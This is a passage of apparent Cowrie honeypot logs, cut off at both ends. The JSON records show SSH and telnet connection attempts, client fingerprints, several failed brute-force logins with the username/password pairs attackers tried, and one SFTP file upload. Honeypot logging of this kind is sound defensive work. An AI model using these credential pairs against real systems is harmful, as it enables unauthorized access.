ncCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:24.951815Z","src_ip":"193.228.128.84","session":"2bb0a2a0e1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deluxe","message":"login attempt [root/deluxe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:25.259711Z","src_ip":"193.228.128.84","session":"2bb0a2a0e1b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4abb139db6","protocol":"ssh","message":"New connection: 117.80.232.39:40980 (10.17.0.5:22) [session: 0e4abb139db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:25.394565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:25.399802Z","src_ip":"117.80.232.39","session":"0e4abb139db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:25.639409Z","src_ip":"117.80.232.39","session":"0e4abb139db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:26.364178Z","src_ip":"193.228.128.84","session":"2bb0a2a0e1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"netadmin","password":"netadmin","message":"login attempt [netadmin/netadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:26.668847Z","src_ip":"117.80.232.39","session":"0e4abb139db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:27.911884Z","src_ip":"117.80.232.39","session":"0e4abb139db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48966,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfc60dd48109","protocol":"telnet","message":"New connection: 135.148.14.151:48966 (159.203.135.109:23) [session: dfc60dd48109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:28.970354Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59778,"dst_ip":"159.203.135.109","dst_port":23,"session":"a98a162f7e6d","protocol":"telnet","message":"New connection: 135.148.14.151:59778 (159.203.135.109:23) [session: a98a162f7e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:36.178043Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59152,"dst_ip":"159.203.135.109","dst_port":23,"session":"789c11e5b451","protocol":"telnet","message":"New connection: 135.148.14.151:59152 (159.203.135.109:23) [session: 789c11e5b451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:37.828259Z"}
{"eventid":"cowrie.session.closed","duration":37.299938440322876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:38.754350Z","src_ip":"135.148.14.151","session":"2fb5f30b39a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26820,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb3b6f27be7f","protocol":"ssh","message":"New connection: 38.93.206.2:26820 (159.203.135.109:22) [session: bb3b6f27be7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:41.643429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:41.648937Z","src_ip":"38.93.206.2","session":"bb3b6f27be7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:41.700121Z","src_ip":"38.93.206.2","session":"bb3b6f27be7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optimist","message":"login attempt [root/optimist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:41.852553Z","src_ip":"38.93.206.2","session":"bb3b6f27be7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:42.922569Z","src_ip":"38.93.206.2","session":"bb3b6f27be7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.364766359329224,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:55.335023Z","src_ip":"135.148.14.151","session":"dfc60dd48109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56630492210388,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:56.960628Z","src_ip":"135.148.14.151","session":"ff36378c7d2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":51840,"dst_ip":"159.203.135.109","dst_port":22,"session":"f365126e40ee","protocol":"ssh","message":"New connection: 45.147.249.81:51840 (159.203.135.109:22) [session: f365126e40ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:00.640023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:00.644226Z","src_ip":"45.147.249.81","session":"f365126e40ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:00.717762Z","src_ip":"45.147.249.81","session":"f365126e40ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc112233","message":"login attempt [root/Abc112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:01.041888Z","src_ip":"45.147.249.81","session":"f365126e40ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:02.120430Z","src_ip":"45.147.249.81","session":"f365126e40ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66122531890869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:11.489344Z","src_ip":"135.148.14.151","session":"789c11e5b451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37491774559021,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:13.552869Z","src_ip":"135.148.14.151","session":"a98a162f7e6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48552,"dst_ip":"159.203.135.109","dst_port":23,"session":"796fbb4c0008","protocol":"telnet","message":"New connection: 135.148.14.151:48552 (159.203.135.109:23) [session: 796fbb4c0008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:14.757768Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43606,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8a067119d0","protocol":"ssh","message":"New connection: 103.153.68.219:43606 (10.17.0.5:22) [session: bd8a067119d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:21.208842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:21.213774Z","src_ip":"103.153.68.219","session":"bd8a067119d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:21.470886Z","src_ip":"103.153.68.219","session":"bd8a067119d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell500","message":"login attempt [root/dell500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:22.875062Z","src_ip":"103.153.68.219","session":"bd8a067119d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:24.131473Z","src_ip":"103.153.68.219","session":"bd8a067119d0","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:25.766881Z","src_ip":"120.48.55.108","session":"768545704859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"303.1","message":"Connection lost after 303.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:25.771003Z","src_ip":"120.48.55.108","session":"768545704859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60760,"dst_ip":"159.203.135.109","dst_port":23,"session":"5057e5482ff3","protocol":"telnet","message":"New connection: 135.148.14.151:60760 (159.203.135.109:23) [session: 5057e5482ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:44.872412Z"}
{"eventid":"cowrie.session.closed","duration":37.60481286048889,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:48:52.362466Z","src_ip":"135.148.14.151","session":"796fbb4c0008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":39646,"dst_ip":"159.203.135.109","dst_port":22,"session":"e57db8a509c7","protocol":"ssh","message":"New connection: 45.147.249.81:39646 (159.203.135.109:22) [session: e57db8a509c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:15.967301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:15.972359Z","src_ip":"45.147.249.81","session":"e57db8a509c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:16.046227Z","src_ip":"45.147.249.81","session":"e57db8a509c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:16.368655Z","src_ip":"45.147.249.81","session":"e57db8a509c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:17.444737Z","src_ip":"45.147.249.81","session":"e57db8a509c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.05769109725952,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:17.929965Z","src_ip":"135.148.14.151","session":"5057e5482ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33416,"dst_ip":"159.203.135.109","dst_port":23,"session":"64296a43e1b2","protocol":"telnet","message":"New connection: 135.148.14.151:33416 (159.203.135.109:23) [session: 64296a43e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:49:46.073358Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"909742809fde","protocol":"ssh","message":"New connection: 62.133.63.178:58950 (10.17.0.5:22) [session: 909742809fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:05.095114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:05.101907Z","src_ip":"62.133.63.178","session":"909742809fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:05.220114Z","src_ip":"62.133.63.178","session":"909742809fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1992","message":"login attempt [root/alex1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:05.594566Z","src_ip":"62.133.63.178","session":"909742809fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:06.715289Z","src_ip":"62.133.63.178","session":"909742809fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.98754262924194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:22.060783Z","src_ip":"135.148.14.151","session":"64296a43e1b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bad7092b8b0","protocol":"ssh","message":"New connection: 87.251.64.176:38428 (10.17.0.5:22) [session: 0bad7092b8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.083720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.088713Z","src_ip":"87.251.64.176","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@op